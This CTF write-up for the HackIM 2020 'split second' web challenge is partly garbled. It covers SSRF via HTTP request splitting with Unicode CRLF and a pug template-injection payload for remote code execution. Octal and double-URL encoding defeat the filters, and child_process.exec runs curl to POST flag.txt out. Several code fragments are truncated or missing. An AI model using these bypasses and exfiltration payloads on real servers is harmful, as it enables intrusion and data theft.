Rating: 4.0

# split second
* ## Observation:
In the main page,we can see that there is a picture with a exciting kid dancing their lol.I look into the page source and see that the picture is an iframe that is sent from ```/core``` page.After testing parameter ```q```,I know that some words and symbols are filtered on the backend.

My next goal is try to find some useful page and then I find some interesting page which is ```/source``` and ```/flag``` page.

After auditing source code,I figure out that it is a SSRF challenge.But I don't have idea how to reach SSRF since ```http``` module filter ```'\d\n'``` properly.After googling,I find some useful resource to achieve our goal and here is the [link](https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/).

source code
//node 8.12.0
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');

app.get('/', function(req, res) {
res.sendFile(path.join(__dirname + '/index.html'));

app.get('/source', function(req, res) {
res.sendFile(path.join(__dirname + '/source.html'));

res.send('<iframe src="https://giphy.com/embed/LLHkw7UnvY3Kw" width="480" height="480" frameBorder="0" class="giphy-embed" allowFullScreen></iframe>




app.get('/flag', function(req, res) {
var ip = req.connection.remoteAddress;
if (ip.includes('')) {
var authheader = req.headers['adminauth'];
var pug2 = decodeURI(req.headers['pug']);
var x=pug2.match(/[a-z]/g);
if (authheader === "secretpassword") {
var html = pug.render(pug2);
res.send("No characters");
res.send("You need to come from localhost");

app.get('/core', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:8081/getMeme?' + q
var trigger = blacklist(url);
if (trigger === true) {

Errrrr, You have been Blocked

} else {
try {
http.get(url, function(resp) {
resp.on('error', function(err) {
if (err.code === "ECONNRESET") {
console.log("Timeout occurs");

resp.on('data', function(chunk) {
resps = chunk.toString();
}).on('error', (e) => {
} catch (error) {
} else {
res.send("search param 'q' missing!");

function blacklist(url) {
var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
var arrayLen = evilwords.length;
for (var i = 0; i < arrayLen; i++) {
const trigger = url.includes(evilwords[i]);
if (trigger === true) {
return true

var server = app.listen(8081, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)


When sending request to ```/flag```,server will check for if header ```x-forwarded-for```==`````` , header ```adminauth```==```secretpassword``` and header ```pug``` can't contain any lower case alphabats.The first two conditions are easy to achieve but the third one is a bit of hard to figure out.Now,I have to understand how ```pug``` work, what kind of attack can achieve and how to bypass the third condition.

After reading this [article](https://pugjs.org/language/interpolation.html),I guess that we can try to construct an code execution payload. So I test it locally and as expected,we can acheive code execution([resource](https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html) about vm escape)
var pug = require('pug');
//First one may cause some problem because of http.get will remove string after #,and I try double encode to fix this problem,but it doesn't work,since decodeURI('%23') will return "%23".
//will print 1 on terminal

The last thing we need to do is try to figure out a payload that can bypass header ```pug```'s' check and function ```blacklist```.
We can encode alphabat in payload into octal(hex and unicode are not good idea since they contain alphabat) to bypass header check and double url encode ```"``` and ```'``` to bypass funtion ```blacklist```.
Expect to alphabat,we don't need to encode other characters in payload into octal.Otherwise it will cause some problem since ```-```,```(```,```)```,```[```,```]```,```"``` and ```'``` are considered as meaningful character and we cannot encode them ,or it won't be executed.
[][\42\143\157\156\163\164\162\165\143\164\157\162\42]//invalid,since " is encodeed

* ## Solution
# coding=UTF-8
import requests
from requests.utils import quote
def toOct(str):
for i in str:
if i>='a'and i<='z':
return r

#This next line could test in nodejs interpreter so that we can observe the similar behavior about how http treat on unicode(\u{xxxx} is js encode pattern)
#Buffer.from('http://example.com/\u{010D}\u{010A}/test', 'latin1').toString()
#Unicode čĊ will convert to latin1 which will only pick up the right most byte
CRLF=u'\u010d\u010a'.encode('utf-8') # transfer from unicode to utf-8 (\uxxxx is unicode's pattern)

pug = toOct('''-[]["constructor"]["constructor"]("console.log(this.process.mainModule.require('child_process').exec('curl -X POST -d @flag.txt'))")()''').replace('"','%22').replace("'","%27")#' and " need to be double encoded
print quote(pug)


print res.content
* ## Flag

Original writeup (https://github.com/xiaobye-ctf/CTF-writeups/blob/master/hackim-2020/web/split%20second/split%20second.md).